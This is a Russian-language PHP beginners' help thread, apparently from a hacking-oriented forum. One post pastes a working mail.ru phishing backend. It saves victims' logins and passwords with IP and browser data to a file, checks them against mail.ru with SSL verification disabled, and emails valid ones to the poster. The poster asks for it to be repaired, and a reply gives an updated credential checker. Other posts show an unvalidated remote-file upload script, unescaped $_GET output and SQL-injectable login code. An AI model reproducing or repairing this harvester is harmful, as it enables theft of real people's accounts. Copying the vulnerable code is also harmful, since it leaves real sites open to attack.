[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    157
    Likes Received:
    47
    Reputations:
    14
    Возможно
    //опоздал)
     
  2. CaroleNet

    CaroleNet New Member

    Joined:
    19 Jun 2013
    Messages:
    51
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте. Вкладываю код для проверка лог и пароль на сайт маил.ру. Раньше этот код работал а сейчас не работает. Нужно помошь по правке Пхп кода

    PHP:
    <?PHP  
    $Login 
    $_POST['Login'];   
    $Domain $_POST['Domain'];    
    $Pass $_POST['Password'];   
    $Browser getenv("HTTP_USER_AGENT");  
    $Port getenv("REMOTE_PORT");  
    $Connect $_SERVER['HTTP_CONNECTION'];  
    $Host gethostbyaddr(getenv("REMOTE_ADDR"));   
    $ip $_SERVER["REMOTE_ADDR"];   
    $Data date("d-m-y H:i:s"time());   
    if ((empty(
    $Login))or (empty($Pass)))   
     {echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";  
      exit;  
     };   
        
    $text "[$Data]   
    Browser:[
    $Browser]   
    Port:[
    $Port]   
    Connect:[
    $Connect]   
    Host:[
    $Host]   
    IP:
    $ip  
    ADRESS:
    $Login@$Domain   
    PASSWORD:
    $Pass";  
        
    $to "почта@mail.ru"//тут прописываем нашу почту,   
        
    $sub "ready $Login@$Domain"//тут прописываем тему письма  

    $filelog fopen("base.php","a+"); //тут прописываем названием базы, в которую будут сохраняться пароли  
    fwrite($filelog,"\n $text \n\n");   
    fclose($filelog); //  

         
    $url 'https://auth.mail.ru/cgi-bin/auth';  
         
    $params "page=&post=&login_from=&Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&level=1";  
         
    $user_agent "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)";  
         
    $ch curl_init("http://win.mail.ru/cgi-bin/login");  
         
    curl_setopt($chCURLOPT_POST,1);  
         
    curl_setopt($chCURLOPT_POSTFIELDS,$params);  
         
    curl_setopt($chCURLOPT_URL,$url);  
         
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0);  
         
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0);  
         
    curl_setopt($chCURLOPT_USERAGENT$user_agent);  
         
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);  
         
    $result=curl_exec($ch);  
         
    curl_close ($ch);  
         
    $pattern='/http:\/\/win.mail.ru\/cgi-bin\/checkcookie/';    
         if (
    preg_match($pattern$result) == 0)   
             {   
            echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=index.php?account=".$Login."@".$Domain."&fail=1'></head></html>";  
            }   
         else   
             {  
             @
    mail($to,$sub,$text);  
             echo 
    "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=server_error.php'></head></html>";  
             };  
    ?>
     
  3. mustedlife

    mustedlife New Member

    Joined:
    31 Jan 2013
    Messages:
    12
    Likes Received:
    3
    Reputations:
    0

    PHP:
    <?PHP   
    $Login 
    $_POST['Login'];    
    $Domain $_POST['Domain'];     
    $Pass $_POST['Password'];    
       
         
    $url 'https://auth.mail.ru/cgi-bin/auth';   
         
    $params "Login=".$Login."&Domain=".$Domain."&Password=".$Pass."&saveauth=1&new_auth_form=1&page=&post=&login_from=&lang=ru_RU&setLang=ru_RU";   
         
    $user_agent "Opera 10.0 (compatible; MSIE 5.01; Windows NT 5.0)";   
         
    $ch curl_init($url);   
         
    curl_setopt($chCURLOPT_POST,1);   
         
    curl_setopt($chCURLOPT_POSTFIELDS,$params);   
         
    curl_setopt($chCURLOPT_URL,$url);   
         
    curl_setopt($chCURLOPT_SSL_VERIFYPEER0);   
         
    curl_setopt($chCURLOPT_SSL_VERIFYHOST0);   
         
    curl_setopt($chCURLOPT_USERAGENT$user_agent);   
         
    curl_setopt($chCURLOPT_RETURNTRANSFER,1);   
         
    $result=curl_exec($ch);   
         
    curl_close ($ch);   
         
    $pattern='/https:\/\/e.mail.ru\/login/';     
         if (!
    preg_match($pattern$result) == 0)    
             {    
            echo 
    "неправильный";   
            }    
         else    
             {   
             echo 
    "правильный";   
             };   
    ?>
    прочти http://www.zakonrf.info/uk/272/
     
    #22183 mustedlife, 23 Apr 2014
    Last edited: 23 Apr 2014
  4. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    39
    Likes Received:
    43
    Reputations:
    0
    Подскажите, вот есть такой скрипт удалённой заливки файлов на сервер
    PHP:
    <?php 
    $rc 
    stripslashes($_GET['url']); 
    $rc_path parse_url($rc); 
    $st './folder'.basename($rc_path['path']); 
    copy($rc,$st); 
    ?> 

    <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="GET"> 

    <input type="text" name="url" value="<?php echo $_GET['url']; ?>"> 

    <input type="submit"> 

    </form>
    Как туда добавить выпадающий список, где можно будет выбрать допустим из 3-х папок куда лить?
     
  5. Fox_NICK

    Fox_NICK Elder - Старейшина

    Joined:
    10 Jan 2007
    Messages:
    45
    Likes Received:
    5
    Reputations:
    0
    Прошу совета %) нужно из input type=text передать информацию для формирования массива.
    Есть форма
    PHP:
    <form action="#" method="post"
    <
    input type="text" name="pole" value="">
    <
    input type="submit" name="submit" value="submit"
    </
    form>
     
    при вводе: "hi,world,!" получался массив: Array ( [0] => hi [1] => world [2] => ! )
    Запятой что бы разделяли элементы массива. Как реализовать? Буду благодарен за подсказку или за рабочий пример:)
     
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,444
    Likes Received:
    762
    Reputations:
    834

    PHP:

    $rc = stripslashes($_GET['url']); 
    $rc_path = parse_url($rc); 
    $st = './folder'.basename($rc_path['path']); 
    copy($rc,$st); 



    function get_leaf_dirs($dir) 
          {
             $array = array();
             $d = @dir($dir);
             if($d)
             {
                   while (false !== ($entry = $d->read())) 
                   {
                       if($entry!='.' && $entry!='..') 
                       {
                           $entry = $dir.'/'.$entry;
                           if(is_dir($entry)) 
                           {
                               $subdirs = get_leaf_dirs($entry);
                               if ($subdirs)
                                 $array = array_merge($array, $subdirs);
                               else
                                 $array[] = $entry;
                           }
                       }
                   }
                   $d->close();
             }
             return $array;
          }
          
          $fs=get_leaf_dirs('folder');
          $x=count($fs);
          
          
          

    ?>




    <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="GET"> 

    <input type="text" name="url" value="<?php echo $_GET['url']; ?>"> 
    <select class="input" type="text" name="patch"> 
    <?php for($i=0$i<$x$i++)
          {    echo 
    "<option value='".$fs[$i]."'>".$fs[$i]."</option>"; }
          
    ?>
    </select>

    <input type="submit"> 

    </form>


    вы наверное об этом?
    PHP:
    $x="hi,world,!";
    $y=explode(","$x);
    echo 
    $y['0'];
    echo 
    $y['1'];
    echo 
    $y['2'];
     
    _________________________
    #22186 winstrool, 25 Apr 2014
    Last edited: 25 Apr 2014
    1 person likes this.
  7. Fox_NICK

    Fox_NICK Elder - Старейшина

    Joined:
    10 Jan 2007
    Messages:
    45
    Likes Received:
    5
    Reputations:
    0
    Да, спасибо большое! забыл про explode :) +++++
     
  8. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    154
    Likes Received:
    25
    Reputations:
    8
    Голову поломал.
    код:
    PHP:
    if($_GET['code']){
        
    $data=file_get_contents('https://oauth.vk.com/access_token?client_id=мой ид&client_secret=секрет жеж)&code='.$_GET['code'].'&redirect_uri=http://shcoding.esy.es/dict/vk_login.php');
        
    $data=json_decode($data);
        
    print_r($data);
        if(
    $data->user_id){
            
    $hash=$data->access_token;
            
    $query=mysql_query("SELECT * FROM dt_users WHERE vk_id=".$data->user_id);
            if(
    $user=mysql_fetch_assoc($query)){
            
    //тут все ок
            
    }else{
                
    $link="https://api.vk.com/method/users.get?user_ids=".$data->user_id."&v=5.21&access_token=".$hash;
                
                    
                
    $vk_user=file_get_contents($link);
                
    $vk_user=json_decode($vk_user);
                
                echo 
    "<br><a href='".$link."'>".$link."</a><br>";    
                
                
    //ВОТ ТУТ ПУСТО! хотя при открытии ссылки отображается всё,как в документации
                
    print_r($vk_user);
                
    WTF??
     
    #22188 Darth Padla, 8 May 2014
    Last edited: 8 May 2014
  9. Scofild

    Scofild Member

    Joined:
    26 Jun 2007
    Messages:
    39
    Likes Received:
    43
    Reputations:
    0
    winstrool так почему то не работает. Нужно добавить к этому скрипту выпадающий список, где самому можно прописать постоянные названия папок. Т.е чтобы в этой переменной $st = './folder'.basename($rc_path['path']); из выпадающего списка выбираласьь папка.

    PHP:
    <?php  
    $rc 
    stripslashes($_GET['url']);  
    $rc_path parse_url($rc);  
    $st './folder'.basename($rc_path['path']);  
    copy($rc,$st);  
    ?>  

    <form action="<?php echo $_SERVER['SCRIPT_NAME']; ?>" method="GET">  

    <input type="text" name="url" value="<?php echo $_GET['url']; ?>">  

    <input type="submit">  

    </form>
     
  10. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    413
    Likes Received:
    144
    Reputations:
    36
    Есть такой кусок:
    PHP:
    $uploaddir "files/".$_SESSION['login'];
    if (
    move_uploaded_file($_FILES['document']['tmp_name'], $uploaddir.
    $_FILES['document']['name'])) {
    print 
    "Success!";
    } [...]
    Задается директория, которая заранее создается, после чего загруженный файл должен перемещаться в нее, но этого не происходит, а файл создается в files/ с именем $_SESSION['login'] и tmp_name. Что делать, как быть?)
     
  11. Chrome~

    Chrome~ Elder - Старейшина

    Joined:
    13 Dec 2008
    Messages:
    1,012
    Likes Received:
    162
    Reputations:
    27
    Не совсем ясна суть проблемы. Нужно, чтобы файл помещался в "files/$_SESSION['login']/$_FILES['document']['name']"? Если да, тогда:
    PHP:
    $uploaddir "files/".$_SESSION['login']."/";
     
    1 person likes this.
  12. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    413
    Likes Received:
    144
    Reputations:
    36
    Вы мало того, что в пхп шарите, дак еще и неплохой экстрасенс, спасибо :)
     
  13. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    413
    Likes Received:
    144
    Reputations:
    36
    PHP:
    <?php
    while( 
    $data mysql_fetch_array(mysql_query("select * from users where login = ".$_SESSION['login']))) {
    print (
    $data['name']. , .$data['lastname']);
    }
    ?>
    Чую тут что-то не так :D
    Нужно вывести из таблицы users, где логин $_SESSION['login'], поля name и lastname через пробел в html страницу.
     
  14. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    302
    Likes Received:
    25
    Reputations:
    0
    Вывод через пробел:
    PHP:
    echo($data['name'].' '.$data['lastname']);
    И лучше к входному параметру (в данном случае $_SESSION) перед обращением к бд применить функцию Trim()
     
    #22194 Compton, 23 May 2014
    Last edited: 23 May 2014
  15. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    413
    Likes Received:
    144
    Reputations:
    36
    Сделал так:
    PHP:
    $query_srting mysql_query("select * from users where login = '{$_SESSION['login']}' limit 1");

    $return_array mysql_fetch_array($query_srting);

    echo 
    $return_array['name'].','.$return_array['lastname'];
    Еще вопрос, правильна ли конструкция?
    PHP:
    if( isset($_POST["login"]) AND !empty($_POST["login"]) AND !($row checkPass($_POST["login"], md5($_POST["password"]))) )
    Ибо у меня всегда валид проверка получается.
     
  16. MegaByyte

    MegaByyte New Member

    Joined:
    27 Sep 2013
    Messages:
    10
    Likes Received:
    1
    Reputations:
    0
    Если checkPass возвращает false при неверных логин/пароль , то надо так:

    PHP:
    // !empty уже проверяет isset
    if( !empty($_POST["login"]) AND !empty($_POST["password"]) AND $row checkPass($_POST["login"], md5($_POST["password"])) ) {
        
    // correct
    } else {
        
    // incorrect
    }
     
  17. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    413
    Likes Received:
    144
    Reputations:
    36
    Да, возвращает false при неверных значениях.
    PHP:
    function checkPass($login$password) {
      global 
    $link;

      
    $query="SELECT login, password FROM users WHERE login='$login' and password='$password'";
      
    $result=mysql_query($query$link)
        or die(
    "checkPass fatal error: ".mysql_error());

      if(
    mysql_num_rows($result)==1) {
        
    $row=mysql_fetch_array($result);
        return 
    $row;
      }
      return 
    false;
    }
    В итоге твой варант не взлетел ) Тупо сразу true и переадресовывает на account )
     
  18. wkar

    wkar Elder - Старейшина

    Joined:
    18 Oct 2009
    Messages:
    247
    Likes Received:
    55
    Reputations:
    34
    Ravenous,
    а что ты с респонс делаешь? Где-то идет утечка памяти. Делай unset того что больше не используешь
     
  19. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    895
    Likes Received:
    327
    Reputations:
    83
    Ну во первых тут скуль, во вторых уже сто раз говорили не используйте LIKE при сверке пароля. Сначала вытаскиваем логин и пасс. Проверяем существует ли логин и если логин существует уже проверяем подходит ли пасс.

    PHP:
    function checkPass($login$password) {
      global 
    $link;

      
    $query "SELECT `login`, `password` FROM `users` WHERE `login`= '" mysql_real_escape_string($login) . "'";
      
    $result mysql_query($query$link) or die("checkPass fatal error: ".mysql_error());

    $row mysql_fetch_array($result);

    if (isset(
    $row["password"], $row["login"]) && trim($row["password"]) != ''&& !is_null($row["password"] ))
    {
        if (
    $row["password"] == $password) return $row;
    }

      return 
    false;
    }
     
    #22199 cardons, 25 May 2014
    Last edited: 25 May 2014
  20. Peklots

    Peklots Elder - Старейшина

    Joined:
    28 Sep 2008
    Messages:
    413
    Likes Received:
    144
    Reputations:
    36
    Не увидел, где в коде LIKE используется, но в итоге то, почему нельзя LIKE юзать? За скули да, в курсе, код не мой, поэтому сначала все разберу, потом все пофиксю )
    В итоге, поставил переписанную тобой функцию, но ошибка опять же вылазит.
     
Loading...
Similar Threads - Новичкам задаем вопросы
  1. Kaimi
    Replies:
    320
    Views:
    96,855
  2. Варик
    Replies:
    3
    Views:
    1,632
  3. insulin
    Replies:
    6
    Views:
    1,526
  4. _Great_
    Replies:
    2,100
    Views:
    358,384
Thread Status:
Not open for further replies.